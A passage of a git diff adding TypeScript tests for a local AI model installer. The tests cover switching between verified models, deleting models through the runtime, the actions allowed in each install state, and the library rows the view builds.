expect(active.statusCode).toBe(409); + expect(active.json().data).toMatchObject({ reason: 'model-active' }); + expect(runtime.state.others).toEqual([b.modelId]); + + // ---- Back to A: nothing is downloaded ---- + status = await get(); + expect(status.recommendation.pick?.library ?? status.recommendation.alternatives[0].library).toBeDefined(); + world.sessions.set('s1', { name: 'w1-app', customModel: { endpointId: 'local-ollama' } }); + const useBusy = await post('/api/local-model/use', { modelId: a.modelId }); + expect(useBusy.statusCode).toBe(409); + expect(useBusy.json().data).toMatchObject({ reason: 'sessions-open' }); + world.sessions.clear(); + + runtime.switches.ps.contextLength = a.context; + const pullsBefore = runtime.state.pulls; + const switched = await post('/api/local-model/use', { modelId: a.modelId }); + expect(switched.statusCode).toBe(200); + expect(switched.json().data).toMatchObject({ state: 'installing', steps: ['verify', 'connect'] }); + const backOnA = await settled(); + expect(backOnA.error).toBeUndefined(); + expect(backOnA).toMatchObject({ state: 'installed', model: { id: a.modelId }, context: a.context }); + expect(runtime.state.pulls).toBe(pullsBefore); + expect(await hostsModels()).toEqual([a.modelId]); + expect(await world.service.launchRefusalMessage('local-ollama', a.modelId)).toBeUndefined(); + + // ---- Delete B: through the runtime, by its name ---- + const notOurs = await deleteModel('someone-else:7b'); + expect(notOurs.statusCode).toBe(400); + const gone = await deleteModel(b.modelId); + expect(gone.statusCode).toBe(200); + expect(gone.json().data.library.map((row: { id: string }) => row.id)).toEqual([a.modelId]); + expect(runtime.state.others).toEqual([]); + expect(runtime.state.installed).toBe(true); + const deletes = runtime.requests.filter((request) => request.path === '/api/delete'); + expect(deletes.map((request) => request.body)).toEqual([{ model: b.modelId }]); + expect((await readLocalModelState()).library?.map((entry) => entry.id)).toEqual([a.modelId]); + expect((await get()).install.actions).toEqual(['start-session', 'stop', 'install', 'remove']); + // A is in use: it can only go with the whole installation. + expect((await deleteModel(a.modelId)).statusCode).toBe(409); + }); +}); + describe('a server that is killed leaves its runtime running: the next server never deletes under it', () => { /** * Installs up to the model download, then "kills" the server: its job stops and it signals diff --git a/test/local-model-install-job.test.ts b/test/local-model-install-job.test.ts index dec84ee83..29624c274 100644 --- a/test/local-model-install-job.test.ts +++ b/test/local-model-install-job.test.ts @@ -17,13 +17,18 @@ import { allowedActions, buildInstallError, buildInstallView, + buildLibraryRows, formatInstallMessage, INSTALL_STATE_TABLE, INSTALL_STEP_TABLE, INSTALL_TRANSITIONS, installedBlocker, jobSteps, + libraryOf, + markLibraryCandidates, reduceInstallJob, + upsertLibraryEntry, + USE_JOB_STEPS, type InstallJobEvent, type InstallJobEventType, type InstallLiveFacts, @@ -38,12 +43,15 @@ import { type LocalModelErrorCode, type LocalModelInstallState, type LocalModelInstallStep, + type LocalModelLibraryEntry, type LocalModelStateFile, + type Recommendation, } from '../src/types.js'; const STATES: LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed']; const EVENT_TYPES: InstallJobEventType[] = [ 'install', + 'use', 'progress', 'step-done', 'fail', @@ -60,6 +68,48 @@ const RUNTIME = { version: '0.40.15', port: 11435, pid: 4711, enabled: true, mea const CONNECTION = { endpointId: 'local-ollama', flagWasEnabled: false }; const LOADED = { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 }; +/** The model in use as the library lists it, and a second checked model beside it. */ +const ENTRY: LocalModelLibraryEntry = { + id: MODEL.id, + label: MODEL.label, + context: MODEL.context, + digest: 'abc123', + bytes: 23_105_798_956, + cli: CLI, +}; +const OTHER: LocalModelLibraryEntry = { + id: 'qwen3.8:27b-mtp-q4_k_m', + label: 'Qwen3.8 27B', + context: 65536, + digest: 'def456', + bytes: 17_741_872_154, + cli: CLI, +}; + +/** The two as rows of the view, while nothing is known from the runtime. */ +const ENTRY_ROW = { + id: ENTRY.id, + label: ENTRY.label, + context: ENTRY.context, + sizeBytes: 23_105_798_956, + sizeGb: '23.1', + active: true, + verified: true, + status: 'ready', + actions: [], +}; +const OTHER_ROW = { + id: OTHER.id, + label: OTHER.label, + context: OTHER.context, + sizeBytes: 17_741_872_154, + sizeGb: '17.7', + active: false, + verified: true, + status: 'ready', + actions: ['use'], +}; + const JOB: LocalModelStateFile = { schema: 1, state: 'installing', @@ -69,6 +119,8 @@ const JOB: LocalModelStateFile = { cli: CLI, runtime: RUNTIME, progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 }, + // An earlier install left one checked model: what `use` can go back to. + library: [OTHER], }; /** One state file of each state, as the job leaves it. */ @@ -84,6 +136,7 @@ const SAMPLE: Record = { cli: CLI, runtime: RUNTIME, loaded: LOADED, + library: [OTHER], connection: CONNECTION, }, }; @@ -96,6 +149,11 @@ const EVENT: Record = { cli: { id: 'claude', label: 'Claude Code' }, steps: ['runtime', 'model', 'verify', 'connect'], }, + use: { + type: 'use', + model: { id: OTHER.id, label: OTHER.label, context: OTHER.context, digest: OTHER.digest }, + cli: CLI, + }, progress: { type: 'progress', completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 }, 'step-done': { type: 'step-done' }, fail: { type: 'fail', code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' }, @@ -151,12 +209,17 @@ describe('the tables', () => { cancel: 'paused', restart: 'paused', }, - paused: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'paused' }, - failed: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'failed' }, - installed: { remove: 'idle', restart: 'installed' }, + paused: { resume: 'installing', install: 'installing', use: 'installing', remove: 'idle', restart: 'paused' }, + failed: { resume: 'installing', install: 'installing', use: 'installing', remove: 'idle', restart: 'failed' }, + installed: { install: 'installing', use: 'installing', remove: 'idle', restart: 'installed' }, }); }); + it('a switch is the two steps that load and connect a model, and downloads nothing', () => { + expect(USE_JOB_STEPS).toEqual(['verify', 'connect']); + for (const step of USE_JOB_STEPS) expect(INSTALL_STEP_TABLE[step].progress).toBe(false); + }); + it('every step row names error codes that exist, each with a sentence and a next step', () => { for (const step of LOCAL_MODEL_INSTALL_STEPS) { const row = INSTALL_STEP_TABLE[step]; @@ -221,10 +284,10 @@ describe('reduceInstallJob: every state with every event, from the transition ta } } - it('covers all 40 pairs, 18 of them listed', () => { + it('covers all 45 pairs, 22 of them listed', () => { const listed = STATES.flatMap((state) => Object.keys(INSTALL_TRANSITIONS[state])); - expect(STATES.length * EVENT_TYPES.length).toBe(40); - expect(listed).toHaveLength(18); + expect(STATES.length * EVENT_TYPES.length).toBe(45); + expect(listed).toHaveLength(22); }); }); @@ -246,11 +309,15 @@ describe('the state table agrees with the reducer and the view', () => { const row = INSTALL_STATE_TABLE[state]; const accepts = (type: InstallJobEventType) => INSTALL_TRANSITIONS[state][type] !== undefined; expect(row.actions.includes('install')).toBe(accepts('install')); + expect(row.actions.includes('use')).toBe(accepts('use')); expect(row.actions.includes('cancel')).toBe(accepts('cancel')); expect(row.actions.includes('resume')).toBe(accepts('resume')); - // Remove is refused only while a job runs. From idle it only clears leftovers, so the - // window offers no button for it there. - if (state !== 'idle') expect(row.actions.includes('remove')).toBe(accepts('remove')); + // Remove is refused only while a job runs. From idle it only clears what an earlier + // Remove kept, and the view lists it there only while the store holds something. + expect(row.actions.includes('remove')).toBe(accepts('remove')); + // A model is deleted through the runtime, which a state without a job in flight and with + // a runtime set up can have: never idle (no runtime), never while a job runs. + expect(row.actions.includes('delete-model')).toBe(state !== 'idle' && state !== 'installing'); // The runtime and a session are things of an installed model only. for (const action of ['start', 'stop', 'start-session'] as LocalModelAction[]) { expect(row.actions.includes(action)).toBe(state === 'installed'); @@ -292,6 +359,7 @@ describe('reduceInstallJob: what each event writes', () => { replacedModelId: 'qwen3.6:35b-a3b', cli: { id: 'claude', label: 'Claude Code' }, runtime: RUNTIME, + library: [OTHER], connection: CONNECTION, }); // Gone: the error, the progress, what the runtime had loaded. @@ -421,32 +489,65 @@ describe('reduceInstallJob: what each event writes', () => { }); describe('allowedActions', () => { - it('outside installed it is the state row, whatever is live', () => { - for (const state of ['idle', 'installing', 'paused', 'failed'] as const) { - expect(allowedActions(SAMPLE[state], { ...LIVE, running: true, gaveUp: true, portInUse: true })).toEqual([ - ...INSTALL_STATE_TABLE[state].actions, - ]); + it('outside installed the runtime, the port and the digest narrow nothing', () => { + const busy = { ...LIVE, running: true, gaveUp: true, portInUse: true }; + expect(allowedActions(SAMPLE.installing, busy)).toEqual(['cancel']); + expect(allowedActions(SAMPLE.installing, LIVE)).toEqual(['cancel']); + for (const state of ['paused', 'failed'] as const) { + // `use` because a checked model is there; no delete while nothing is known from the runtime. + expect(allowedActions(SAMPLE[state], busy)).toEqual(['resume', 'install', 'use', 'remove']); + expect(allowedActions(SAMPLE[state], LIVE)).toEqual(['resume', 'install', 'use', 'remove']); } + }); + + it('idle: Remove is offered only while the model store still holds something', () => { expect(allowedActions(SAMPLE.idle, LIVE)).toEqual(['install']); - expect(allowedActions(SAMPLE.installing, LIVE)).toEqual(['cancel']); - expect(allowedActions(SAMPLE.paused, LIVE)).toEqual(['resume', 'install', 'remove']); - expect(allowedActions(SAMPLE.failed, LIVE)).toEqual(['resume', 'install', 'remove']); + expect(allowedActions(SAMPLE.idle, { ...LIVE, storeBytes: 0 })).toEqual(['install']); + expect(allowedActions(SAMPLE.idle, { ...LIVE, storeBytes: 23_105_798_956 })).toEqual(['install', 'remove']); }); - it('installed and running: a session can be started and the runtime stopped', () => { + it('use and delete-model are listed only while a row of the library offers them', () => { + // A first job: no checked model yet, so nothing to switch to and nothing to delete. + const first: LocalModelStateFile = { ...SAMPLE.paused, library: undefined }; + expect(allowedActions(first, LIVE)).toEqual(['resume', 'install', 'remove']); + // The runtime lists the other model: it can be deleted as well as switched to. + const tags = [{ name: OTHER.id, size: 17_741_872_154, digest: OTHER.digest }]; + expect(allowedActions(SAMPLE.paused, { ...LIVE, running: true, tags })).toEqual([ + 'resume', + 'install', + 'use', + 'delete-model', + 'remove', + ]); + // The rows it was given decide, when it is given them. + expect(allowedActions(SAMPLE.paused, { ...LIVE, running: true, tags }, [])).toEqual([ + 'resume', + 'install', + 'remove', + ]); + }); + + it('installed and running: a session can be started, the runtime stopped, a model added', () => { expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toEqual([ 'start-session', 'stop', + 'install', + 'use', 'remove', ]); }); it('installed and stopped: it can be started, and no session is offered', () => { - expect(allowedActions(SAMPLE.installed, LIVE)).toEqual(['start', 'remove']); + expect(allowedActions(SAMPLE.installed, LIVE)).toEqual(['start', 'install', 'use', 'remove']); }); it('installed and running a model that changed: no session', () => { - expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual(['stop', 'remove']); + expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual([ + 'stop', + 'install', + 'use', + 'remove', + ]); }); it('a digest that could not be read does not hide the session button: the launch itself reads it again', () => { @@ -456,8 +557,8 @@ describe('allowedActions', () => { it('never returns the table row itself', () => { const actions = allowedActions(SAMPLE.idle, LIVE); - actions.push('remove'); - expect(INSTALL_STATE_TABLE.idle.actions).toEqual(['install']); + actions.push('cancel'); + expect(INSTALL_STATE_TABLE.idle.actions).toEqual(['install', 'remove']); }); }); @@ -535,10 +636,20 @@ describe('buildInstallView', () => { unpackedGb: '0.6', }, folder: '/Users/me/.codeman/local-model', + library: [], actions: ['install'], }); }); + it('idle with a store an earlier Remove kept: its size, and Remove to free it', () => { + const view = buildInstallView(SAMPLE.idle, { ...LIVE, storeBytes: 23_105_798_956 }); + expect(view.store).toEqual({ bytes: 23_105_798_956, gb: '23.1' }); + expect(view.library).toEqual([]); + expect(view.actions).toEqual(['install', 'remove']); + // A store that was measured as empty is said as that, and offers nothing. + expect(buildInstallView(SAMPLE.idle, { ...LIVE, storeBytes: 0 }).store).toEqual({ bytes: 0, gb: '0.0' }); + }); + it('once the runtime is unpacked an install downloads nothing for it', () => { const view = buildInstallView(SAMPLE.idle, { ...LIVE, runtimeInstalled: true }); expect(view.runtime).toEqual({ @@ -564,6 +675,8 @@ describe('buildInstallView', () => { unpackedGb: '0.6', }, folder: '/Users/me/.codeman/local-model', + // The checked model of an earlier install: listed, with nothing to do while a job runs. + library: [{ ...OTHER_ROW, actions: [] }], actions: ['cancel'], model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, context: 131072, @@ -593,7 +706,9 @@ describe('buildInstallView', () => { completedGb: '6.2', totalGb: '23.1', }); - expect(view.actions).toEqual(['resume', 'install', 'remove']); + expect(view.actions).toEqual(['resume', 'install', 'use', 'remove']); + // The way back from a job that stopped: the model that was checked before. + expect(view.library).toEqual([OTHER_ROW]); }); it('a speed of zero has no time left, and a download without a total has no progress at all', () => { @@ -677,7 +792,8 @@ describe('buildInstallView', () => { developerTools: 'present', runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' }, folder: '/Users/me/.codeman/local-model', - actions: ['start-session', 'stop', 'remove'], + library: [ENTRY_ROW, OTHER_ROW], + actions: ['start-session', 'stop', 'install', 'use', 'remove'], model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, context: 131072, cli: 'opencode', @@ -692,7 +808,9 @@ describe('buildInstallView', () => { const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' }); expect(view.state).toBe('installed'); expect(view.error?.code).toBe('model-changed'); - expect(view.actions).toEqual(['stop', 'remove']); + expect(view.actions).toEqual(['stop', 'install', 'use', 'remove']); + // The row of the model in use says the same thing the error does. + expect(view.library[0]).toMatchObject({ id: MODEL.id, active: true, status: 'changed' }); }); it('a model that was not all on the GPU says so', () => { @@ -713,6 +831,317 @@ describe('buildInstallView', () => { }); }); +describe('reduceInstallJob: the library', () => { + it('libraryOf: the list of the file, and for an installed file without one its model', () => { + expect(libraryOf(SAMPLE.idle)).toEqual([]); + expect(libraryOf(SAMPLE.paused)).toEqual([OTHER]); + // A file an earlier build wrote: the model in use is the library. + const old: LocalModelStateFile = { ...SAMPLE.installed, library: undefined }; + expect(libraryOf(old)).toEqual([ENTRY]); + // The model in use is always one of them, first, also when the list does not name it. + expect(libraryOf(SAMPLE.installed)).toEqual([ENTRY, OTHER]); + // Never twice, and the list's own entry wins. + const listed: LocalModelStateFile = { ...SAMPLE.installed, library: [OTHER, { ...ENTRY, context: 65536 }] }; + expect(libraryOf(listed)).toEqual([OTHER, { ...ENTRY, context: 65536 }]); + // A model without a stored digest could never be compared: it is not one of them. + const noDigest: LocalModelStateFile = { ...SAMPLE.installed, library: undefined, model: MODEL }; + expect(libraryOf(noDigest)).toEqual([]); + // A job's model is not in the library before it was checked. + expect(libraryOf({ ...SAMPLE.installing, library: undefined })).toEqual([]); + }); + + it('libraryOf hands out a list of its own', () => { + const list = libraryOf(SAMPLE.paused); + list.pop(); + expect(SAMPLE.paused.library).toEqual([OTHER]); + }); + + it('upsertLibraryEntry replaces the entry with the same id in place, else adds at the end', () => { + const next = { ...OTHER, digest: 'fff', context: 131072 }; + expect(upsertLibraryEntry([ENTRY, OTHER], next)).toEqual([ENTRY, next]); + expect(upsertLibraryEntry([ENTRY], OTHER)).toEqual([ENTRY, OTHER]); + expect(upsertLibraryEntry([], OTHER)).toEqual([OTHER]); + }); + + it('an install from installed adds a model: the model in use stays in the library and is NOT deleted', () => { + const next = reduceInstallJob(SAMPLE.installed, EVENT.install); + expect(next).toEqual({ + schema: 1, + state: 'installing', + step: 'runtime', + steps: ['runtime', 'model', 'verify', 'connect'], + model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 }, + cli: { id: 'claude', label: 'Claude Code' }, + runtime: RUNTIME, + // The model that was in use is written into the list: its state member is the new job's now. + library: [ENTRY, OTHER], + connection: CONNECTION, + }); + expect(next).not.toHaveProperty('replacedModelId'); + expect(next).not.toHaveProperty('loaded'); + }); + + it('an install from an installed file of an earlier build keeps its one model too', () => { + const old: LocalModelStateFile = { ...SAMPLE.installed, library: undefined }; + const next = reduceInstallJob(old, EVENT.install); + expect(next.library).toEqual([ENTRY]); + expect(next).not.toHaveProperty('replacedModelId'); + }); + + it('a replaced job deletes its model only when that model was never checked', () => { + // The stopped job's model is a checked one (it failed after its check): it stays. + const checked: LocalModelStateFile = { ...SAMPLE.failed, library: [OTHER, ENTRY] }; + expect(reduceInstallJob(checked, EVENT.install)).not.toHaveProperty('replacedModelId'); + // Not checked: what it left is deleted, as before. + expect(reduceInstallJob(SAMPLE.failed, EVENT.install).replacedModelId).toBe(MODEL.id); + // A leftover that is waiting to be deleted is dropped from the wait once it is a checked model. + const waiting: LocalModelStateFile = { ...SAMPLE.paused, replacedModelId: OTHER.id }; + expect(reduceInstallJob(waiting, { ...EVENT.install, model: MODEL } as InstallJobEvent)).not.toHaveProperty( + 'replacedModelId' + ); + }); + + it('use from installed: the two steps for the checked model, with its stored digest', () => { + expect(reduceInstallJob(SAMPLE.installed, EVENT.use)).toEqual({ + schema: 1, + state: 'installing', + step: 'verify', + steps: ['verify', 'connect'], + model: { id: OTHER.id, label: OTHER.label, context: OTHER.context, digest: OTHER.digest }, + cli: CLI, + runtime: RUNTIME, + library: [ENTRY, OTHER], + connection: CONNECTION, + }); + }); + + it('use from a stopped job replaces it, and deletes what that job left of an unchecked model', () => { + for (const state of ['paused', 'failed'] as const) { + const next = reduceInstallJob(SAMPLE[state], EVENT.use); + expect(next.state).toBe('installing'); + expect(next.step).toBe('verify'); + expect(next.model?.id).toBe(OTHER.id); + expect(next.replacedModelId).toBe(MODEL.id); + expect(next).not.toHaveProperty('error'); + expect(next).not.toHaveProperty('progress'); + expect(next.library).toEqual([OTHER]); + } + }); + + it('refuses a use it cannot apply: a model that is not in the library, a state without a runtime', () => { + const unknown = { ...EVENT.use, model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536, digest: 'x' } }; + expect(reduceInstallJob(SAMPLE.installed, unknown as InstallJobEvent)).toBe(SAMPLE.installed); + const noRuntime: LocalModelStateFile = { ...SAMPLE.paused, runtime: undefined }; + expect(reduceInstallJob(noRuntime, EVENT.use)).toBe(noRuntime); + }); + + it('every event but remove carries the library', () => { + const job = SAMPLE.installing; + expect(reduceInstallJob(job, EVENT.progress).library).toEqual([OTHER]); + expect(reduceInstallJob(job, EVENT['step-done']).library).toEqual([OTHER]); + expect(reduceInstallJob(job, EVENT.fail).library).toEqual([OTHER]); + expect(reduceInstallJob(job, EVENT.cancel).library).toEqual([OTHER]); + expect(reduceInstallJob(job, EVENT.restart).library).toEqual([OTHER]); + expect(reduceInstallJob(SAMPLE.failed, EVENT.resume).library).toEqual([OTHER]); + const last: LocalModelStateFile = { ...job, step: 'connect', library: [OTHER, ENTRY], connection: CONNECTION }; + expect(reduceInstallJob(last, EVENT['step-done'])).toMatchObject({ state: 'installed', library: [OTHER, ENTRY] }); + expect(reduceInstallJob(SAMPLE.installed, EVENT.remove)).toEqual({ schema: 1, state: 'idle' }); + }); +}); + +describe('buildLibraryRows', () => { + const tagOf = (entry: LocalModelLibraryEntry, extra: Partial<{ size: number; digest: string }> = {}) => ({ + name: entry.id, + size: entry.bytes ?? 0, + digest: entry.digest, + ...extra, + }); + + it('is empty in idle, whatever is live', () => { + expect(buildLibraryRows(SAMPLE.idle, { ...LIVE, running: true, tags: [tagOf(OTHER)] })).toEqual([]); + }); + + it('the runtime stopped: the checked models as they were recorded, a switch, and no delete', () => { + expect(buildLibraryRows(SAMPLE.installed, LIVE)).toEqual([ENTRY_ROW, OTHER_ROW]); + // A listing that is still around from before the stop is not trusted. + expect(buildLibraryRows(SAMPLE.installed, { ...LIVE, running: false, tags: [] })).toEqual([ENTRY_ROW, OTHER_ROW]); + }); + + it('the runtime running: its sizes, and a delete for every model but the one in use', () => { + const rows = buildLibraryRows(SAMPLE.installed, { + ...LIVE, + running: true, + tags: [tagOf(ENTRY, { size: 23_105_800_000 }), tagOf(OTHER)], + }); + expect(rows).toEqual([ + { ...ENTRY_ROW, sizeBytes: 23_105_800_000 }, + { ...OTHER_ROW, actions: ['use', 'delete'] }, + ]); + }); + + it('the model in use comes first, wherever the list has it', () => { + const state: LocalModelStateFile = { ...SAMPLE.installed, library: [OTHER, ENTRY] }; + expect(buildLibraryRows(state, LIVE).map((row) => row.id)).toEqual([ENTRY.id, OTHER.id]); + }); + + it('a checked model whose digest the runtime no longer reports: changed, never switched to, deletable', () => { + const rows = buildLibraryRows(SAMPLE.installed, { + ...LIVE, + running: true, + tags: [tagOf(ENTRY), tagOf(OTHER, { digest: 'somethingelse' })], + }); + expect(rows[1]).toMatchObject({ id: OTHER.id, status: 'changed', verified: true, actions: ['delete'] }); + // The digest is compared without its prefix and its case, like everywhere else. + const same = buildLibraryRows(SAMPLE.installed, { + ...LIVE, + running: true, + tags: [tagOf(ENTRY), tagOf(OTHER, { digest: 'sha256:DEF456' })], + }); + expect(same[1].status).toBe('ready'); + }); + + it('a checked model the runtime no longer lists: missing, with its recorded size, and its entry can be dropped', () => { + const rows = buildLibraryRows(SAMPLE.installed, { ...LIVE, running: true, tags: [tagOf(ENTRY)] }); + expect(rows[1]).toEqual({ ...OTHER_ROW, status: 'missing', actions: ['delete'] }); + }); + + it('what the runtime lists beside the checked models: not checked, deletable, never switched to', () => { + const rows = buildLibraryRows(SAMPLE.installed, { + ...LIVE, + running: true, + labels: { 'mimo-v2.6:9b-q4_k_m': 'MiMo V2.6 9B' }, + tags: [ + tagOf(ENTRY), + tagOf(OTHER), + { name: 'zeta:1b', size: 900_000_000, digest: 'z' }, + { name: 'mimo-v2.6:9b-q4_k_m', size: 6_550_811_033, digest: 'm' }, + ], + }); + expect(rows.slice(2)).toEqual([ + { + id: 'mimo-v2.6:9b-q4_k_m', + // The catalogue knows it, so it is named as the chooser names it. + label: 'MiMo V2.6 9B', + sizeBytes: 6_550_811_033, + sizeGb: '6.6', + active: false, + verified: false, + status: 'unverified', + actions: ['delete'], + }, + { + id: 'zeta:1b', + label: 'zeta:1b', + sizeBytes: 900_000_000, + sizeGb: '0.9', + active: false, + verified: false, + status: 'unverified', + actions: ['delete'], + }, + ]); + }); + + it('a name that is not a plain name:tag is listed with its size and offers nothing', () => { + const rows = buildLibraryRows(SAMPLE.installed, { + ...LIVE, + running: true, + tags: [tagOf(ENTRY), { name: 'hf.co/someone/model:Q4', size: 1_000_000_000, digest: 'h' }], + }); + expect(rows.find((row) => row.id === 'hf.co/someone/model:Q4')).toMatchObject({ + status: 'unverified', + sizeGb: '1.0', + actions: [], + }); + }); + + it('the model of a stopped job: listed once it is on disk, and neither switched to nor deleted', () => { + const rows = buildLibraryRows(SAMPLE.failed, { + ...LIVE, + running: true, + tags: [tagOf(OTHER), { name: MODEL.id, size: 23_105_798_956, digest: 'abc123' }], + }); + expect(rows).toEqual([ + { ...OTHER_ROW, actions: ['use', 'delete'] }, + { + id: MODEL.id, + label: MODEL.label, + sizeBytes: 23_105_798_956, + sizeGb: '23.1', + active: false, + verified: false, + status: 'unverified', + actions: [], + }, + ]); + }); + + it('while a job runs nothing is offered on any row', () => { + const rows = buildLibraryRows(SAMPLE.installing, { ...LIVE, running: true, tags: [tagOf(OTHER)] }); + expect(rows.map((row) => row.actions)).toEqual([[]]); + }); + + it('a row without a known size has neither size member', () => { + const state: LocalModelStateFile = { ...SAMPLE.paused, library: [{ ...OTHER, bytes: undefined }] }; + const [row] = buildLibraryRows(state, LIVE); + expect(row).not.toHaveProperty('sizeBytes'); + expect(row).not.toHaveProperty('sizeGb'); + }); +}); + +describe('markLibraryCandidates', () => { + const candidate = (modelId: string, context: number) => ({ modelId, context }) as Recommendation['alternatives'][0]; + const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true }); + + it('marks the model in use and a model a switch can take, at the context they were checked with', () => { + const recommendation = { + verdict: 'ok', + pick: candidate(MODEL.id, MODEL.context), + alternatives: [candidate(OTHER.id, OTHER.context), candidate('gpt-oss:20b', 65536)], + } as unknown as Recommendation; + const marked = markLibraryCandidates(recommendation, view); + expect(marked.pick?.library).toBe('active'); + expect(marked.alternatives[0].library).toBe('ready'); + expect(marked.alternatives[1]).not.toHaveProperty('library'); + // The input is not written to. + expect(recommendation.pick).not.toHaveProperty('library'); + }); + + it('a row at another context than the one that was checked is an install like any other', () => { + const recommendation = { + verdict: 'ok', + pick: candidate(MODEL.id, 65536), + alternatives: [candidate(OTHER.id, 131072)], + } as unknown as Recommendation; + expect(markLibraryCandidates(recommendation, view)).toBe(recommendation); + }); + + it('hands back the same object when there is nothing to mark', () => { + const none = { verdict: 'none', alternatives: [] } as unknown as Recommendation; + expect(markLibraryCandidates(none, view)).toBe(none); + const idle = buildInstallView(SAMPLE.idle, LIVE); + const recommendation = { verdict: 'ok', pick: candidate(MODEL.id, MODEL.context), alternatives: [] }; + expect(markLibraryCandidates(recommendation as unknown as Recommendation, idle)).toBe(recommendation); + }); + + it('a checked model that changed is not marked ready', () => { + const changed = buildInstallView(SAMPLE.installed, { + ...LIVE, + running: true, + tags: [ + { name: MODEL.id, size: 1, digest: 'abc123' }, + { name: OTHER.id, size: 1, digest: 'other' }, + ], + }); + const recommendation = { + verdict: 'ok', + pick: candidate(OTHER.id, OTHER.context), + alternatives: [], + } as unknown as Recommendation; + expect(markLibraryCandidates(recommendation, changed).pick).not.toHaveProperty('library'); + }); +}); + describe('formatInstallMessage', () => { it('fills the slots of a sentence', () => { expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: { port: '11435' } })).toBe( diff --git a/test/local-model-install-service.test.ts b/test/local-model-install-service.test.ts index e1206d99b..e2fc64dca 100644 --- a/test/local-model-install-service.test.ts +++ b/test/local-model-install-service.test.ts @@ -13,7 +13,9 @@ * Cancel in every step; Resume; a job a server restart interrupted comes back paused and * waits for a click; every failure is a state with a code and a next step; the coding agent * install (the stock command, the audit line, the resolver caches forgotten, still missing is - * a failure); the digest that refuses a changed model; the runtime verbs; Remove. + * a failure); the digest that refuses a changed model; the runtime verbs; Remove; and the + * library: a second model beside the first, the switch between checked models, the delete of + * one model, what a stopped job leaves to go back to, and the two cached listings of the view. * * Port: N/A (nothing listens). */ @@ -259,6 +261,10 @@ function setup( running: false, gaveUp: false, pid: 5000, + /** What the runtime lists on disk. Default: the model of the state, as it was pulled. */ + tags: undefined as { name: string; size: number; digest: string }[] | undefined, + /** What the model store takes on disk. */ + storeBytes: 0, }; const calls: string[] = []; @@ -325,14 +331,20 @@ function setup( { name: 'qwen3.6:35b-a3b', size: 26_300_000_000, sizeVram: 26_300_000_000, contextLength: 32768 }, ]), getRuntimeVersion: vi.fn(async () => '0.40.15' as string | undefined), - deleteModel: vi.fn(async () => { + deleteModel: vi.fn(async (_target: unknown, _id: string) => { calls.push('deleteModel'); return true; }), + listTags: vi.fn(async () => { + if (world.tags) return world.tags; + const model = store.get().model; + return model ? [{ name: model.id, size: PULL_BYTES, digest: DIGEST }] : []; + }), removePartialModelBlobs: vi.fn(async () => { calls.push('removePartialModelBlobs'); return 0; }), + measureModelStore: vi.fn(async () => world.storeBytes), checkDeveloperTools: vi.fn(async () => 'missing' as const), stockInstallCommand: vi.fn((id: string) => (id === FACTS[0].cli ? INSTALL_COMMAND : undefined)), tryBeginCliInstall: vi.fn((): (() => void) | null => () => { @@ -470,7 +482,7 @@ describe('a job from the click to installed', () => { port: 11435, loaded: { context: 131072, memoryBytes: 26_300_000_000, memoryGb: '26.3', onGpu: true }, endpointId: 'local-ollama', - actions: ['start-session', 'stop', 'remove'], + actions: ['start-session', 'stop', 'install', 'remove'], folder: '/data/local-model', runtime: { version: '0.40.15', installed: true, downloadBytes: 0 }, }); @@ -699,6 +711,8 @@ describe('one job at a time', () => { const jobRunning = { ok: false, status: 409, conflict: { reason: 'job-running' } }; expect(await h.service.install(REQUEST, ADMIN)).toMatchObject(jobRunning); expect(await h.service.resume({}, ADMIN)).toMatchObject(jobRunning); + expect(await h.service.use({ modelId: 'gpt-oss:20b' }, ADMIN)).toMatchObject(jobRunning); + expect(await h.service.deleteLibraryModel({ modelId: 'gpt-oss:20b' }, ADMIN)).toMatchObject(jobRunning); expect(await h.service.runtime({ action: 'stop' })).toMatchObject(jobRunning); expect(await h.service.remove({}, [])).toMatchObject(jobRunning); expect(h.deps.ensureRuntimeInstalled).toHaveBeenCalledTimes(1); @@ -718,7 +732,7 @@ describe('one job at a time', () => { expect(h.deps.ensureRuntimeInstalled).toHaveBeenCalledTimes(1); }); - it('install while a model is installed is 409 already-installed: remove it first', async () => { + it('an install of the model that is in use, at its context, is 409 already-installed', async () => { const h = setup({ state: INSTALLED }); expect(await h.service.install(REQUEST, ADMIN)).toEqual({ ok: false, @@ -1073,7 +1087,11 @@ describe('boot with a model installed', () => { // The pid of the child that runs now replaces the stored one. expect(h.store.get().runtime?.pid).toBe(5000); const view = await h.service.view(); - expect(view).toMatchObject({ state: 'installed', running: true, actions: ['start-session', 'stop', 'remove'] }); + expect(view).toMatchObject({ + state: 'installed', + running: true, + actions: ['start-session', 'stop', 'install', 'remove'], + }); expect(view).not.toHaveProperty('error'); }); @@ -1107,7 +1125,7 @@ describe('boot with a model installed', () => { await h.service.boot(); expect(h.supervisor.start).not.toHaveBeenCalled(); const view = await h.service.view(); - expect(view).toMatchObject({ state: 'installed', running: false, actions: ['start', 'remove'] }); + expect(view).toMatchObject({ state: 'installed', running: false, actions: ['start', 'install', 'remove'] }); // A stopped runtime is not an error. expect(view).not.toHaveProperty('error'); }); @@ -1124,7 +1142,7 @@ describe('boot with a model installed', () => { message: { text: 'The model on this Mac changed since it was installed. Remove it and install it again.' }, next: 'remove', }); - expect(view.actions).toEqual(['stop', 'remove']); + expect(view.actions).toEqual(['stop', 'install', 'remove']); 